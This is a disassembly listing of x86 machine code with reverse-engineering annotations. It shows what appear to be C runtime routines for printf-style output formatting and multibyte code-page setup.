loc_41F95A:				; CODE XREF: sub_41F69F+2B5j
					; sub_41F69F+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41F9A1
		call	sub_41FE9B
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_423E5B
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_41F9B4
		mov	[ebp+var_28], 1
		jmp	short loc_41F9B4
; ---------------------------------------------------------------------------


loc_41F98B:				; CODE XREF: sub_41F69F+1FBj
		sub	eax, 5Ah
		jz	short loc_41F9C2
		sub	eax, 9
		jz	short loc_41F95A
		dec	eax
		jz	loc_41FB84
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------


loc_41F9A1:				; CODE XREF: sub_41F69F+2C5j
		call	sub_41FE7E
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_41F9B4:				; CODE XREF: sub_41F69F+2E1j
					; sub_41F69F+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------


loc_41F9C2:				; CODE XREF: sub_41F69F+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		jz	short loc_41FA03
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_41FA03
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_41F9F4
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------


loc_41F9F4:				; CODE XREF: sub_41F69F+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FA03:				; CODE XREF: sub_41F69F+32Fj
					; sub_41F69F+336j
		mov	eax, off_43C540
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41FA9F
; ---------------------------------------------------------------------------


loc_41FA11:				; CODE XREF: sub_41F69F+29Dj
		jnz	short loc_41FA1F
		cmp	bl, 67h
		jnz	short loc_41FA1F
		mov	[ebp+var_10], 1


loc_41FA1F:				; CODE XREF: sub_41F69F+2AAj
					; sub_41F69F:loc_41FA11j ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_43C8D0
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_41FA71
		cmp	[ebp+var_10], 0
		jnz	short loc_41FA71
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43C8DC
		pop	ecx


loc_41FA71:				; CODE XREF: sub_41F69F+3BCj
					; sub_41F69F+3C2j
		cmp	bl, 67h
		jnz	short loc_41FA88
		test	esi, esi
		jnz	short loc_41FA88
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43C8D4
		pop	ecx


loc_41FA88:				; CODE XREF: sub_41F69F+3D5j
					; sub_41F69F+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41FA9E
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_41FA9E:				; CODE XREF: sub_41F69F+3F0j
		push	edi


loc_41FA9F:				; CODE XREF: sub_41F69F+36Dj
		call	sub_41AFE0
		pop	ecx
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FAAA:				; CODE XREF: sub_41F69F+1E9j
		sub	eax, 69h
		jz	loc_41FB84
		sub	eax, 5
		jz	loc_41FB5A
		dec	eax
		jz	loc_41FB47
		dec	eax
		jz	short loc_41FB17
		sub	eax, 3
		jz	loc_41F8CC
		dec	eax
		dec	eax
		jz	loc_41FB88
		sub	eax, 3
		jnz	loc_41FCA9
		mov	[ebp+var_2C], 27h
		jmp	short loc_41FB25
; ---------------------------------------------------------------------------


loc_41FAE9:				; CODE XREF: sub_41F69F+270j
					; sub_41F69F+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FAF2:				; CODE XREF: sub_41F69F+24Fj
		test	ecx, ecx
		jnz	short loc_41FAFF
		mov	ecx, off_43C540
		mov	[ebp+var_8], ecx


loc_41FAFF:				; CODE XREF: sub_41F69F+455j
		mov	eax, ecx


loc_41FB01:				; CODE XREF: sub_41F69F+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_41FB10
		cmp	byte ptr [eax],	0
		jz	short loc_41FB10
		inc	eax
		jmp	short loc_41FB01
; ---------------------------------------------------------------------------


loc_41FB10:				; CODE XREF: sub_41F69F+467j
					; sub_41F69F+46Cj
		sub	eax, ecx
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FB17:				; CODE XREF: sub_41F69F+425j
		mov	[ebp+var_10], 8


loc_41FB1E:				; CODE XREF: sub_41F69F+201j
		mov	[ebp+var_2C], 7


loc_41FB25:				; CODE XREF: sub_41F69F+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41FB8F
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41FB8F
; ---------------------------------------------------------------------------


loc_41FB47:				; CODE XREF: sub_41F69F+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41FB8F
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41FB8F
; ---------------------------------------------------------------------------


loc_41FB5A:				; CODE XREF: sub_41F69F+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_41FB73
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_41FB78
; ---------------------------------------------------------------------------


loc_41FB73:				; CODE XREF: sub_41F69F+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_41FB78:				; CODE XREF: sub_41F69F+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41FB84:				; CODE XREF: sub_41F69F+2F7j
					; sub_41F69F+40Ej
		or	[ebp+var_4], 40h


loc_41FB88:				; CODE XREF: sub_41F69F+432j
		mov	[ebp+var_C], 0Ah


loc_41FB8F:				; CODE XREF: sub_41F69F+491j
					; sub_41F69F+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41FBA1
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE8B
		pop	ecx
		jmp	short loc_41FBE2
; ---------------------------------------------------------------------------


loc_41FBA1:				; CODE XREF: sub_41F69F+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_41FBC8
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FBBD
		call	sub_41FE7E
		pop	ecx
		movsx	eax, ax


loc_41FBBA:				; CODE XREF: sub_41F69F+527j
					; sub_41F69F+539j
		cdq
		jmp	short loc_41FBE2
; ---------------------------------------------------------------------------


loc_41FBBD:				; CODE XREF: sub_41F69F+510j
		call	sub_41FE7E
		pop	ecx
		movzx	eax, ax
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------


loc_41FBC8:				; CODE XREF: sub_41F69F+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FBDA
		call	sub_41FE7E
		pop	ecx
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------


loc_41FBDA:				; CODE XREF: sub_41F69F+531j
		call	sub_41FE7E
		pop	ecx
		xor	edx, edx


loc_41FBE2:				; CODE XREF: sub_41F69F+500j
					; sub_41F69F+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_41FC03
		test	edx, edx
		jg	short loc_41FC03
		jl	short loc_41FBF2
		test	eax, eax
		jnb	short loc_41FC03


loc_41FBF2:				; CODE XREF: sub_41F69F+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_41FC07
; ---------------------------------------------------------------------------


loc_41FC03:				; CODE XREF: sub_41F69F+547j
					; sub_41F69F+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_41FC07:				; CODE XREF: sub_41F69F+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_41FC10
		and	edi, 0


loc_41FC10:				; CODE XREF: sub_41F69F+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_41FC1F
		mov	[ebp+var_10], 1
		jmp	short loc_41FC23
; ---------------------------------------------------------------------------


loc_41FC1F:				; CODE XREF: sub_41F69F+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_41FC23:				; CODE XREF: sub_41F69F+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_41FC2D
		and	[ebp+var_1C], 0


loc_41FC2D:				; CODE XREF: sub_41F69F+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_41FC33:				; CODE XREF: sub_41F69F+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_41FC43
		mov	eax, esi
		or	eax, edi
		jz	short loc_41FC7E


loc_41FC43:				; CODE XREF: sub_41F69F+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_41D480
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_41D410
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_41FC74
		add	ebx, [ebp+var_2C]


loc_41FC74:				; CODE XREF: sub_41F69F+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_41FC33
; ---------------------------------------------------------------------------


loc_41FC7E:				; CODE XREF: sub_41F69F+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_41FCA9
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_41FC9C
		test	eax, eax
		jnz	short loc_41FCA9


loc_41FC9C:				; CODE XREF: sub_41F69F+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_41FCA6:				; CODE XREF: sub_41F69F+35Fj
					; sub_41F69F+406j ...
		mov	[ebp+var_C], eax


loc_41FCA9:				; CODE XREF: sub_41F69F+21Bj
					; sub_41F69F+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_41FDA7	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41FCE1
		test	bh, 1
		jz	short loc_41FCC6
		mov	[ebp+var_16], 2Dh
		jmp	short loc_41FCDA
; ---------------------------------------------------------------------------


loc_41FCC6:				; CODE XREF: sub_41F69F+61Fj
		test	bl, 1
		jz	short loc_41FCD1
		mov	[ebp+var_16], 2Bh
		jmp	short loc_41FCDA
; ---------------------------------------------------------------------------


loc_41FCD1:				; CODE XREF: sub_41F69F+62Aj
		test	bl, 2
		jz	short loc_41FCE1
		mov	[ebp+var_16], 20h


loc_41FCDA:				; CODE XREF: sub_41F69F+625j
					; sub_41F69F+630j
		mov	[ebp+var_1C], 1


loc_41FCE1:				; CODE XREF: sub_41F69F+61Aj
					; sub_41F69F+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_41FD01
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FE15
		add	esp, 10h


loc_41FD01:				; CODE XREF: sub_41F69F+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_41FE46
		add	esp, 10h
		test	bl, 8
		jz	short loc_41FD33
		test	bl, 4
		jnz	short loc_41FD33
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_41FE15
		add	esp, 10h


loc_41FD33:				; CODE XREF: sub_41F69F+67Bj
					; sub_41F69F+680j
		cmp	[ebp+var_24], 0
		jz	short loc_41FD7A
		cmp	[ebp+var_C], 0
		jle	short loc_41FD7A
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_41FD48:				; CODE XREF: sub_41F69F+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_423E5B
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41FD8F
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_41FE46
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_41FD48
		jmp	short loc_41FD8F
; ---------------------------------------------------------------------------


loc_41FD7A:				; CODE XREF: sub_41F69F+698j
					; sub_41F69F+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_41FE46
		add	esp, 10h


loc_41FD8F:				; CODE XREF: sub_41F69F+6BCj
					; sub_41F69F+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_41FDA7 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FE15
		add	esp, 10h


loc_41FDA7:				; CODE XREF: sub_41F69F+68j
					; sub_41F69F+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_41F6CB


loc_41FDB8:				; CODE XREF: sub_41F69F+1Fj
					; sub_41F69F+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F69F	endp

; ---------------------------------------------------------------------------
off_41FDC0	dd offset loc_41F83E	; DATA XREF: sub_41F69F+6Er
		dd offset loc_41F714	; jump table for switch	statement
		dd offset loc_41F72F
		dd offset loc_41F77B
		dd offset loc_41F7B2
		dd offset loc_41F7BA
		dd offset loc_41F7EF
		dd offset loc_41F882

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FDE0	proc near		; CODE XREF: sub_41F69F+1BDp
					; sub_41F69F+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_41FDF9
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_41FE04
; ---------------------------------------------------------------------------


loc_41FDF9:				; CODE XREF: sub_41FDE0+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41FE04:				; CODE XREF: sub_41FDE0+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_41FE11
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41FE11:				; CODE XREF: sub_41FDE0+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41FDE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE15	proc near		; CODE XREF: sub_41F69F+65Ap
					; sub_41F69F+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_41FE43
		mov	esi, [esp+8+arg_C]


loc_41FE26:				; CODE XREF: sub_41FE15+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_41FDE0
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_41FE43
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_41FE26


loc_41FE43:				; CODE XREF: sub_41FE15+Bj
					; sub_41FE15+25j
		pop	edi
		pop	esi
		retn
sub_41FE15	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE46	proc near		; CODE XREF: sub_41F69F+670p
					; sub_41F69F+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_41FE7A
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_41FE5C:				; CODE XREF: sub_41FE46+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_41FDE0
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_41FE7A
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_41FE5C


loc_41FE7A:				; CODE XREF: sub_41FE46+Cj
					; sub_41FE46+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41FE46	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE7E	proc near		; CODE XREF: sub_41F69F+E5p
					; sub_41F69F+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41FE7E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE8B	proc near		; CODE XREF: sub_41F69F+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_41FE8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE9B	proc near		; CODE XREF: sub_41F69F+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_41FE9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FEA9	proc near		; CODE XREF: sub_42026D+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420042
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_4DC704
		mov	[ebp+arg_0], esi
		jz	loc_420036
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_42002C
		xor	edx, edx
		mov	eax, offset dword_43C550


loc_41FEDD:				; CODE XREF: sub_41FEA9+41j
		cmp	[eax], esi
		jz	short loc_41FF53
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_43C640
		jl	short loc_41FEDD
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		nop
		call	near ptr 28B0000h
		cmp	eax, 1
		jnz	loc_420024
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DC820
		cmp	[ebp+var_18], 1
		mov	dword_4DC704, esi
		rep stosd
		stosb
		mov	dword_4DC924, ebx
		jbe	loc_420012
		cmp	[ebp+var_12], 0
		jz	loc_41FFE8
		lea	ecx, [ebp+var_11]


loc_41FF30:				; CODE XREF: sub_41FEA9+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41FFE8
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_41FF41:				; CODE XREF: sub_41FEA9+A8j
		cmp	eax, edx
		ja	loc_41FFDC
		or	byte_4DC821[eax], 4
		inc	eax
		jmp	short loc_41FF41
; ---------------------------------------------------------------------------


loc_41FF53:				; CODE XREF: sub_41FEA9+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DC820
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43C560[esi]


loc_41FF6F:				; CODE XREF: sub_41FEA9+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41FFA2


loc_41FF76:				; CODE XREF: sub_41FEA9+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41FFA2
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41FF9B
		mov	edx, [ebp+var_4]
		mov	dl, byte_43C548[edx]


loc_41FF90:				; CODE XREF: sub_41FEA9+F0j
		or	byte_4DC821[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41FF90


loc_41FF9B:				; CODE XREF: sub_41FEA9+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41FF76


loc_41FFA2:				; CODE XREF: sub_41FEA9+CBj
					; sub_41FEA9+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41FF6F
		mov	eax, [ebp+arg_0]
		mov	dword_4DC71C, 1
		push	eax
		mov	dword_4DC704, eax
		call	sub_42008C
		lea	esi, dword_43C554[esi]
		mov	edi, offset dword_4DC710
		movsd
		movsd
		pop	ecx
		mov	dword_4DC924, eax
		movsd
		jmp	short loc_420031
; ---------------------------------------------------------------------------


loc_41FFDC:				; CODE XREF: sub_41FEA9+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41FF30


loc_41FFE8:				; CODE XREF: sub_41FEA9+7Ej
					; sub_41FEA9+8Bj
		push	1
		pop	eax


loc_41FFEB:				; CODE XREF: sub_41FEA9+14Fj
		or	byte_4DC821[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41FFEB
		push	esi
		call	sub_42008C
		pop	ecx
		mov	dword_4DC924, eax
		mov	dword_4DC71C, 1
		jmp	short loc_420018
; ---------------------------------------------------------------------------


loc_420012:				; CODE XREF: sub_41FEA9+74j
		mov	dword_4DC71C, ebx


loc_420018:				; CODE XREF: sub_41FEA9+167j
		xor	eax, eax
		mov	edi, offset dword_4DC710
		stosd
		stosd
		stosd
		jmp	short loc_420031
; ---------------------------------------------------------------------------


loc_420024:				; CODE XREF: sub_41FEA9+51j
		cmp	dword_4DB330, ebx
		jz	short loc_42003A


loc_42002C:				; CODE XREF: sub_41FEA9+27j
		call	sub_4200BF


loc_420031:				; CODE XREF: sub_41FEA9+131j
					; sub_41FEA9+179j
		call	sub_4200E8


loc_420036:				; CODE XREF: sub_41FEA9+1Dj
		xor	eax, eax
		jmp	short loc_42003D
; ---------------------------------------------------------------------------


loc_42003A:				; CODE XREF: sub_41FEA9+181j
		or	eax, 0FFFFFFFFh


loc_42003D:				; CODE XREF: sub_41FEA9+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FEA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_420042	proc near		; CODE XREF: sub_41FEA9+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_4DB330, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_420062
		mov	dword_4DB330, 1
		nop
		jmp	near ptr 265095Ah
; ---------------------------------------------------------------------------


loc_420062:				; CODE XREF: sub_420042+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_420077
		mov	dword_4DB330, 1
		jmp	near ptr 28B07BBh
; ---------------------------------------------------------------------------
		db 9
; ---------------------------------------------------------------------------


loc_420077:				; CODE XREF: sub_420042+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_42008B
		mov	eax, dword_4DB374
		mov	dword_4DB330, 1

locret_42008B:				; CODE XREF: sub_420042+38j
		retn
sub_420042	endp


; =============== S U B	R O U T	I N E =======================================



sub_42008C	proc near		; CODE XREF: sub_41FEA9+118p
					; sub_41FEA9+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_4200B9
		sub	eax, 4
		jz	short loc_4200B3
		sub	eax, 0Dh
		jz	short loc_4200AD
		dec	eax
		jz	short loc_4200A7
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4200A7:				; CODE XREF: sub_42008C+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_4200AD:				; CODE XREF: sub_42008C+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_4200B3:				; CODE XREF: sub_42008C+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_4200B9:				; CODE XREF: sub_42008C+9j
		mov	eax, 411h
		retn
sub_42008C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4200BF	proc near		; CODE XREF: sub_41FEA9:loc_42002Cp
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4DC820
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4DC710
		mov	dword_4DC704, eax
		mov	dword_4DC71C, eax
		mov	dword_4DC924, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4200BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4200E8	proc near		; CODE XREF: sub_41FEA9:loc_420031p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_4DC704
		nop
		call	near ptr 28B0000h
		cmp	eax, 1
		jnz	loc_420221
		xor	eax, eax
		mov	esi, 100h


loc_420112:				; CODE XREF: sub_4200E8+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_420112
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_420163
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_420131:				; CODE XREF: sub_4200E8+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_420158
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_420158:				; CODE XREF: sub_4200E8+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_420131
		pop	edi
		pop	ebx


loc_420163:				; CODE XREF: sub_4200E8+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_4DC924
		push	dword_4DC704
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_423CEC
		push	0
		lea	eax, [ebp+var_214]
		push	dword_4DC704
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_4DC924
		call	sub_422ACA
		push	0
		lea	eax, [ebp+var_314]
		push	dword_4DC704
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_4DC924
		call	sub_422ACA
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_4201DE:				; CODE XREF: sub_4200E8+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_4201FC
		or	byte_4DC821[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_4201F4:				; CODE XREF: sub_4200E8+127j
		mov	byte_4DC720[eax], dl
		jmp	short loc_420218
; ---------------------------------------------------------------------------


loc_4201FC:				; CODE XREF: sub_4200E8+FCj
		test	dl, 2
		jz	short loc_420211
		or	byte_4DC821[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_4201F4
; ---------------------------------------------------------------------------


loc_420211:				; CODE XREF: sub_4200E8+117j
		and	byte_4DC720[eax], 0


loc_420218:				; CODE XREF: sub_4200E8+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_4201DE
		jmp	short loc_42026A
; ---------------------------------------------------------------------------


loc_420221:				; CODE XREF: sub_4200E8+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_420228:				; CODE XREF: sub_4200E8+180j
		cmp	eax, 41h
		jb	short loc_420246
		cmp	eax, 5Ah
		ja	short loc_420246
		or	byte_4DC821[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_42023E:				; CODE XREF: sub_4200E8+174j
		mov	byte_4DC720[eax], cl
		jmp	short loc_420265
